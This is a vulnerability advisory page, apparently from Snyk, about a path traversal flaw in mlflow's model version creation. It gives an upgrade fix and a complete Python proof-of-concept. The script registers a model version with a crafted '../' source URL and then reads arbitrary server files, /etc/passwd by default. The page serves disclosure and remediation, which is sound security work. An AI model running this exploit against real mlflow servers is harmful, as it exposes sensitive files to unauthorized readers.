Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade mlflow
to version 2.12.1 or higher.
mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.
Affected versions of this package are vulnerable to Path Traversal due to improper validation of the source
parameter within the _create_model_version
function. An attacker can gain arbitrary file read access on the server by crafting a source
parameter that bypasses the _validate_non_local_source_contains_relative_paths(source)
function's checks. This issue stems from the handling of unquoted URL characters and the misuse of the original source
value for model version creation, leading to the exposure of sensitive files when interacting with the /model-versions/get-artifact
handler.
from argparse import ArgumentParser
from random import randbytes
from requests import Session
from urllib.parse import unquote
if __name__ == "__main__":
parser = ArgumentParser()
parser.add_argument("--url", required=True)
parser.add_argument("--path", default="/etc/passwd")
args = parser.parse_args()
url = args.url
ajax_api = f"{url}/ajax-api/2.0/mlflow"
with Session() as s:
# upload an artifact to force creation of './mlartifacts' directory in servers CWD in case
# no artifacts were uploaded before:
experiment_name = "e_" + randbytes(4).hex()
rsp = s.post(f"{ajax_api}/experiments/create", json={ "name" : experiment_name })
experiment_id = rsp.json()["experiment_id"]
rsp = s.post(f"{ajax_api}/runs/create", json={ "experiment_id" : experiment_id })
run_uuid = rsp.json()["run"]["info"]["run_uuid"]
rsp = s.post(f"{ajax_api}/upload-artifact?run_uuid={run_uuid}&path=xxx", data="whatever")
rsp = s.post(f"{ajax_api}/experiments/delete", json={ "experiment_id" : experiment_id })
# create a registered model and version:
model_name = "m_" + randbytes(4).hex()
rsp = s.post(f"{ajax_api}/registered-models/create", json={ "name" : model_name })
rsp = s.post(f"{ajax_api}/model-versions/create", json={
"name" : model_name,
"source": f"http:///xxx%23/api/2.0/mlflow-artifacts/artifacts/../../../../../../../../../../../../"
})
rsp = s.get(f"{args.url}/model-versions/get-artifact", params={
"name" : model_name,
"version" : 1,
"path" : args.path.removeprefix("/")
})
try:
print(rsp.content.decode())
except UnicodeDecodeError:
print(rsp.content)